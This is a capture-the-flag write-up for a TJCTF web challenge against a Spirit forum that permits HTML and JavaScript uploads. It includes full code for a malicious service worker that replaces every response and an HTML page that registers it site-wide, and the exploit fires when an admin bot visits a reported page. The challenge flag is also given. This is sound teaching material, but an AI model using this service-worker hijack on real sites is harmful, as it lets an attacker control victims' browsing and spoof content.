Upon visiting the website, we can see that it uses a Django based forum software known as "Spirit". Likely, we will not find some zero day exploit with an established framework, so any attempts at a basic OWASP top 10 is unreasonable.
After reading through the documentation on [https://spirit.readthedocs.io/en/latest/settings.html](https://spirit.readthedocs.io/en/latest/settings.html) we see a some warnings on the "ST_ALLOWED_UPLOAD_IMAGE_FORMAT" upload. It specifies:
> Warning: Allowing PNG files is a security risk as it may contain malicious HTML. See Django notes
So I decided to see what file types we could upload.I tried to upload a PNG file and it did not work. But to my surprise, the list of files that *do* work is awfully fishey.
> "Unsupported file extension png. Supported extensions are doc, docx, html, js, pdf, txt."
HTML and JavaScript? What???
I uploaded a basic html page containing the a script tag that calls alert(1). It worked. Now what?
Well, from the problem description, we know the process goes as follows:
1. We report a page using the added in report functionality2. The admin account visits the reported page3. The admin account visits https://media_storage.tjctf.org/mymsg_private.txt and checks if the content is equal to "The coast is clear."
So, we can force the admin to run any JavaScript code whatsoever (by reporting an HTML file that we uploaded). But how on earth can we change the content of mymsg_private.txt?
My first thought, which is the only way I knew of at the time, would be to poison the cache. I made a lot of scripts that attempted to do this, however it seems that everything is fully up to date and no cache poisoning techniques are available.
Well, in the process of trying to poison the cache, I spent a lot of time trying to analyze what the REQUEST and RESPONSE headers were. Everything seemed to be relatively in place, except for something I've never seen before:
> service-worker-allowed: /
What on earth is a service worker? Well, in my research, I came across this website [https://alf.nu/ServiceWorker](https://alf.nu/ServiceWorker)
What do we need to register a service browser?
1. a .js file describing what the service worker does2. a page that can run JavaScript code (.html)3. Everything on the same origin as the service worker
UUUUH YEAH we all have all of those. Now it makes sense why the file upload allowed the type ".js"
After messing around a bit, here are my final scripts.
sw.js
				self.addEventListener('fetch', function(e) {					e.respondWith(new Response(									new Blob(										["The coast is clear."],										{type : 'text/plain'})));				});
code.html
				<script>				window.addEventListener('load', function() {					navigator.serviceWorker.register('/spirit/files/13/sw_f8143359b887f0af8fd59dcfeed083ba_1tdpbDt.js', {scope: '/'}).then(function(registration) {						// Registration was successful						console.log('ServiceWorker registration successful with scope: ', registration.scope);					}, function(err) {						// registration failed :(						console.log('ServiceWorker registration failed: ', err);					});				});				</script> Note that the link to where the service worker should be registered in code.html should be updated to wherever the server places your sw.js file.
Now, we just have to report the code.html page, and wala.
tjctf{s3rv1c3_w0rk3rs_4r3_c0ol}